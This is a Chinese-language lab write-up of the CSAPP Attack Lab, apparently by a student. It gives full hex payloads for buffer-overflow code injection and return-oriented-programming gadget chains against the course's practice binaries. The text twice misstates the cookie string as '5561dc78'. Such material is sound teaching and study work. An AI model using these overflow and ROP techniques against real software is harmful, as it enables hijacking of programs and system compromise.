本实验介绍了两种通过缓冲区溢出进行攻击的例子,分为Code Injection
以及Return-Oriented Programming
。主要思想是输入过多的内容,使缓冲区溢出,从而更改调用栈的返回地址。
Code Injection
使用代码注入的方式,在输入的字符串中包含注入的二进制机器码,通过更改调用栈的返回地址,从而使注入的代码得到执行。
Phase_1
本题任务是从test
跳转到touch1
,只需要更改getbuf()
的返回地址即可。
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
getbuf
的汇编代码如下
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可以发现,缓冲区大小为0x28
,即为40字节。故输入的内容为
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
c0 17 40 00 00 00 00 00
88
作为填充,0x4017c0
是touch1
的地址的小端表示
Phase_2
本题不仅要从test
跳转到touch2
,而且还要给touch2
传递参数,传递的参数是cookie
,即为0x59b997fa
。因此本题要开始注入代码了。首先要把返回地址改成注入的代码的地址,通过%rdi
传入参数,再使用ret
跳转到touch2
。
注入的代码汇编表示为:
# info registers rsp : 0x5561dca0
# %rsp - 28 = 0x5561dc78
movq $0x59b997fa,%rdi
pushq $0x4017ec
retq
将这段代码使用汇编器生成机器代码:
$ gcc -c phase_2.s
$ objdump -d phase_2.o
phase_2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
这段代码的起始地址为%rsp - 28
,也就是0x5561dc78
,因此,输入为
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
78 dc 61 55 00 00 00 00
Phase_3
本题需要从test
跳转到touch3
,并传递字符串,其值为cookie
的字符串形式,即为5561dc78
。
首先要得到所传递参数的二进制形式,不用查ASCII码表,直接查看编译之后生成的代码。
$ cat phase_3.c
char *sval = "59b997fa";
$ gcc -c phase_3.c
$ objdump -sj .rodata phase_3.o
phase_3.o: file format elf64-x86-64
Contents of section .rodata:
0000 35396239 39376661 00 59b997fa.
故字符串5561dc78
对应的二进制35396239 39376661 00
。
至于注入代码,方式与上一题相同,只不过由于touch3
中调用了hexmatch
,为了避免传入的参数被新建的调用栈覆盖,需要将rsp
移到参数上面。汇编代码为:
# info registers rsp : 0x5561dca0
# %rsp - 28 = 0x5561dc78
movq $0x5561dc78,%rdi
subq $0x30,%rsp
pushq $0x4018fa
retq
对应的二进制输入为
35 39 62 39 39 37 66 61
00 48 c7 c7 78 dc 61 55
48 83 ec 30 68 fa 18 40
00 c3 88 88 88 88 88 88
88 88 88 88 88 88 88 88
81 dc 61 55 00 00 00 00
Return-Oriented Programming
假若采用栈随机化,那么%rsp
的地址也就不固定;或者是禁止栈里面的数据被执行,上面的注入方式也就行不通了。不过我们还可以使用程序原有的代码片段来代替注入代码,进行攻击。
Phase_4
需求与Phase_2
相同,只不过不能注入了。思路就是通过popq
指令,直接或间接地把参数传到%rdi
中。遗憾的是没有找到直接的popq %rdi
,但是找到了popq %rax
(二进制0x58),地址为0x4019ab
。
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
接着寻找movq %rax,%rdi
(48 89 c7),地址为0x4019c5
。
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
故输入的代码可以为
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
ab 19 40 00 00 00 00 00 # 0x4019ab: popq %rax; ret
fa 97 b9 59 00 00 00 00 # cookie
c5 19 40 00 00 00 00 00 # 0x4019c5: movq %rax, %rdi; ret
ec 17 40 00 00 00 00 00 # 0x4017ec: address of touch2
Phase_5
同样,需求与Phase_3
相同。为了防止传入的参数被新的调用栈覆盖,需要把参数值放在touch3
地址后面。因此需要计算参数的地址。
参数的地址肯定是相对于第一次调用ret
时,%rsp
的值,故要先记录之。
movq %rsp,%rax
(48 89 e0),地址为0x401a06
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
最后肯定要把参数传给%rdi
:
movq %rax,%rdi
(48 89 c7),地址为0x4019c5
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
当然,相对地址应该由用户输入进去:
popq %rax
(58),地址为0x4019ab
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
那么怎么计算参数的实际地址呢?肯定要用两个寄存器相加吧?这种指令只能在源码里面找了啊,lea (%rdi,%rsi,1),%rax
,地址为0x4019d6
:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
原来是把%rdi
与%rsi
相加啊,前者好说,后面那位是怎么冒出来的?以%rsi
为目的操作数的mov
指令只有movl %ecx,%esi
(89 ce)。而且这位仁兄后面都还跟了一些指令,如下:
89 ce 92 c3
:92 c3
无意义89 ce 78 c9
:78 c9
无意义89 ce 90 90
:90 90
无意义89 ce 38 c0
:38 c0
为cmpb %al,%al
,该指令在本题相当于nop
那就是最后一位咯,movl %ecx,%esi
(89 ce),地址为0x401a27
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
所以又要找%ecx
从哪里冒出来了。
唯一一处是,movl %edx,%ecx
(89 d1),地址为0x401a34
。后面的38 c9
为cmpb %cl,%cl
相当于nop。
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq
再找%edx
,只有89 c2
符合要求,然后考虑后面的指令
89 c2 90
:nop
89 c2 00 c9
:无意义89 c2 84 c0
:testb %al,%al
89 c2 c4 c9
:无意义89 c2 c7 3c
:无意义89 c2 60 d2
:无意义
那就选第一个吧,movl %eax,%edx
(89 c2),地址为0x4019dd
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3
终于连起来了!!!将上面所有的汇编串起来
movq %rsp,%rax # at 0x401a06
movq %rax,%rdi # at 0x4019c5
popq %rax # at 0x4019ab
movl %eax,%edx # at 0x4019dd
movl %edx,%ecx # at 0x401a34
movl %ecx,%esi # at 0x401a27
lea (%rdi,%rsi,1),%rax # 0x4019d6
movq %rax,%rdi # at 0x4019c5
输入为
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
06 1a 40 00 00 00 00 00 # movq %rsp,%rax
c5 19 40 00 00 00 00 00 # movq %rax,%rdi # %rsp points at here
ab 19 40 00 00 00 00 00 # popq %ra
48 00 00 00 00 00 00 00 # offset 8 * 9
dd 19 40 00 00 00 00 00 # movl %eax,%edx
34 1a 40 00 00 00 00 00 # movl %edx,%ecx
27 1a 40 00 00 00 00 00 # movl %ecx,%esi
d6 19 40 00 00 00 00 00 # lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # address of touch3
35 39 62 39 39 37 66 61 # cookie str
(完)
所有输入见[CSAPP]